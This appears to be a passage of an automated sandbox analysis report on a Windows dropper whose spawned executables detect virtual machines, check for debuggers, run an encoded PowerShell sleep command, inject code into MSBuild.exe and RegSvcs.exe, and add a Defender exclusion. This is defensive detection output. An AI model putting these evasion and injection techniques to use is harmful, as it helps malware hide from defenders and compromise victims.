Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 98409	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 98292	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 98187	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 98071	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 97930	Jump to behavior
Source: C:\Windows\Temp\123.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 99729	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 99591	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 99456	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 99320	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 99209	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 99064	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 98906	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 98703	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 98530	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 98397	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 98270	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 98153	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 98040	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 97921	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 97775	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 97664	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 97562	Jump to behavior
Source: C:\Windows\Temp\321.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 99843
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 99500
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 99327
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 99197
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 98975
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 98846
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 98703
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 98570
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 98452
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 98339
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 98233
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 98098
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 97965
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 97845
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 97713
Source: C:\Windows\Temp\1234.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 1000000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 100000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99759
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 99608
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe

API call chain: ExitProcess graph end node

graph_0-22485

Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen0MP
Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: 123.exe, 00000002.00000002.353750736.0000000000DFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV
Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q 1:en-US:VMware\|VIRTUAL\|A M I\|Xen4
Source: 1234.exe, 00000004.00000002.379579196.000000000313C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtualst@
Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: 321.exe, 00000003.00000002.374973505.0000000002C9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtualem
Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Vp
Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q 1:en-US:Microsoft\|VMWare\|Virtual4
Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual0MP
Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: 123.exe, 00000002.00000002.365887055.0000000002D4D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A MpJw
Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A Mp*
Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWare
Source: 321.exe, 00000003.00000002.374973505.0000000002F40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|VpN
Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual
Source: 1234.exe, 00000004.00000002.379579196.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware@
Source: 1234.exe, 00000004.00000002.379579196.000000000313C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q 1:en-US:VMware\|VIRTUAL\|A M I\|Xen
Source: 321.exe, 00000003.00000002.374973505.0000000002F40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A Mp
Source: 1234.exe, 00000004.00000002.379579196.000000000313C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q 1:en-US:Microsoft\|VMWare\|Virtual
Source: 1234.exe, 00000004.00000002.379579196.000000000313C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen\|
Source: 321.exe, 00000003.00000002.369369176.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, 1234.exe, 00000004.00000002.373115554.000000000128E000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000005.00000002.431344393.0000000000E84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\Temp\123.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_013BC8D4 VirtualQuery,GetSystemInfo,

0_2_013BC8D4

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013AA2C3 FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_013AA2C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BA536 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_013BA536
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C7D69 FindFirstFileExA,	0_2_013C7D69
Source: C:\Windows\Temp\11.exe	Code function: 1_2_004157F4 FindFirstFileExW,	1_2_004157F4
Source: C:\Windows\Temp\11.exe	Code function: 1_2_02715C5B FindFirstFileExW,	1_2_02715C5B

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	System information queried: CodeIntegrityInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	System information queried: CodeIntegrityInformation

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C49FA mov eax, dword ptr fs:[00000030h]	0_2_013C49FA
Source: C:\Windows\Temp\11.exe	Code function: 1_2_004169AB mov eax, dword ptr fs:[00000030h]	1_2_004169AB
Source: C:\Windows\Temp\11.exe	Code function: 1_2_0040C3DF mov eax, dword ptr fs:[00000030h]	1_2_0040C3DF
Source: C:\Windows\Temp\11.exe	Code function: 1_2_0270C846 mov eax, dword ptr fs:[00000030h]	1_2_0270C846
Source: C:\Windows\Temp\11.exe	Code function: 1_2_0270092B mov eax, dword ptr fs:[00000030h]	1_2_0270092B
Source: C:\Windows\Temp\11.exe	Code function: 1_2_02716E12 mov eax, dword ptr fs:[00000030h]	1_2_02716E12
Source: C:\Windows\Temp\11.exe	Code function: 1_2_02700D90 mov eax, dword ptr fs:[00000030h]	1_2_02700D90

Source: C:\Windows\Temp\123.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_013C5B43 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_013C5B43

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_013C8A9B GetProcessHeap,

0_2_013C8A9B

Source: C:\Windows\Temp\123.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

System information queried: KernelDebuggerInformation

Source: C:\Windows\Temp\11.exe

Code function: 1_2_00401D51 GetModuleHandleW,VirtualProtectEx,LdrInitializeThunk,

1_2_00401D51

Source: C:\Windows\Temp\123.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BDB63 SetUnhandledExceptionFilter,	0_2_013BDB63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013C5B43 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_013C5B43
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BDA15 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_013BDA15
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013BDD1B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_013BDD1B
Source: C:\Windows\Temp\11.exe	Code function: 1_2_004050FF SetUnhandledExceptionFilter,	1_2_004050FF
Source: C:\Windows\Temp\11.exe	Code function: 1_2_00409106 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00409106
Source: C:\Windows\Temp\11.exe	Code function: 1_2_00405215 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00405215
Source: C:\Windows\Temp\11.exe	Code function: 1_2_00404F9D IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00404F9D
Source: C:\Windows\Temp\11.exe	Code function: 1_2_0270567C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0270567C
Source: C:\Windows\Temp\11.exe	Code function: 1_2_02705404 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_02705404
Source: C:\Windows\Temp\11.exe	Code function: 1_2_02705566 SetUnhandledExceptionFilter,	1_2_02705566
Source: C:\Windows\Temp\11.exe	Code function: 1_2_0270956D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0270956D

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Windows\Temp\123.exe	Process created: Base64 decoded start-sleep -seconds 20
Source: C:\Windows\Temp\321.exe	Process created: Base64 decoded start-sleep -seconds 20
Source: C:\Windows\Temp\1234.exe	Process created: Base64 decoded start-sleep -seconds 20
Source: C:\Windows\Temp\123.exe	Process created: Base64 decoded start-sleep -seconds 20	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process created: Base64 decoded start-sleep -seconds 20	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Process created: Base64 decoded start-sleep -seconds 20	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\Temp\11.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\Temp\123.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Injects a PE file into a foreign processes

Source: C:\Windows\Temp\11.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\Temp\123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Adds a directory exclusion to Windows Defender

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Writes to foreign memory regions

Source: C:\Windows\Temp\11.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000	Jump to behavior
Source: C:\Windows\Temp\11.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: A39008	Jump to behavior
Source: C:\Windows\Temp\123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Windows\Temp\123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Windows\Temp\123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 4C5000	Jump to behavior
Source: C:\Windows\Temp\123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 4FE000	Jump to behavior
Source: C:\Windows\Temp\123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 500000	Jump to behavior
Source: C:\Windows\Temp\123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 501000	Jump to behavior
Source: C:\Windows\Temp\123.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: B7C008	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 410000	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 480000	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 482000	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 483000	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 484000	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 485000	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 486000	Jump to behavior
Source: C:\Windows\Temp\321.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: C17008	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000
Source: C:\Windows\Temp\1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000
Source: C:\Windows\Temp\1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 4C4000
Source: C:\Windows\Temp\1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 4FC000
Source: C:\Windows\Temp\1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 4FE000
Source: C:\Windows\Temp\1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 4FF000
Source: C:\Windows\Temp\1234.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 969008

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Temp\11.exe "C:\Windows\Temp\11.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Temp\123.exe "C:\Windows\Temp\123.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Temp\321.exe "C:\Windows\Temp\321.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Temp\1234.exe "C:\Windows\Temp\1234.exe"	Jump to behavior
Source: C:\Windows\Temp\11.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\Temp\123.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==	Jump to behavior
Source: C:\Windows\Temp\321.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetNumberFormatW,	0_2_013B932E
Source: C:\Windows\Temp\11.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_00418801
Source: C:\Windows\Temp\11.exe	Code function: GetLocaleInfoW,	1_2_00418A54
Source: C:\Windows\Temp\11.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_00418B7A
Source: C:\Windows\Temp\11.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	1_2_004183EE
Source: C:\Windows\Temp\11.exe	Code function: GetLocaleInfoW,	1_2_0040FBAD
Source: C:\Windows\Temp\11.exe	Code function: GetLocaleInfoW,	1_2_00418C80
Source: C:\Windows\Temp\11.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	1_2_00418D4F
Source: C:\Windows\Temp\11.exe	Code function: EnumSystemLocalesW,	1_2_004186DB
Source: C:\Windows\Temp\11.exe	Code function: EnumSystemLocalesW,	1_2_0040F68B
Source: C:\Windows\Temp\11.exe	Code function: EnumSystemLocalesW,	1_2_00418690
Source: C:\Windows\Temp\11.exe	Code function: EnumSystemLocalesW,	1_2_00418776
Source: C:\Windows\Temp\11.exe	Code function: EnumSystemLocalesW,	1_2_0270FAF2
Source: C:\Windows\Temp\11.exe	Code function: EnumSystemLocalesW,	1_2_02718AF7
Source: C:\Windows\Temp\11.exe	Code function: EnumSystemLocalesW,	1_2_02718B42
Source: C:\Windows\Temp\11.exe	Code function: EnumSystemLocalesW,	1_2_02718BDD
Source: C:\Windows\Temp\11.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	1_2_02718855
Source: C:\Windows\Temp\11.exe	Code function: GetLocaleInfoW,	1_2_02710014
Source: C:\Windows\Temp\11.exe	Code function: GetLocaleInfoW,	1_2_027190E7
Source: C:\Windows\Temp\11.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	1_2_027191B6
Source: C:\Windows\Temp\11.exe	Code function: GetLocaleInfoW,	1_2_02718EBB
Source: C:\Windows\Temp\11.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_02718FE1
Source: C:\Windows\Temp\11.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_02718C68

Source: C:\Windows\Temp\123.exe	Queries volume information: C:\Windows\Temp\123.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\321.exe	Queries volume information: C:\Windows\Temp\321.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\321.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\321.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\321.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\321.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\321.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\321.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\321.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Queries volume information: C:\Windows\Temp\1234.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\1234.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
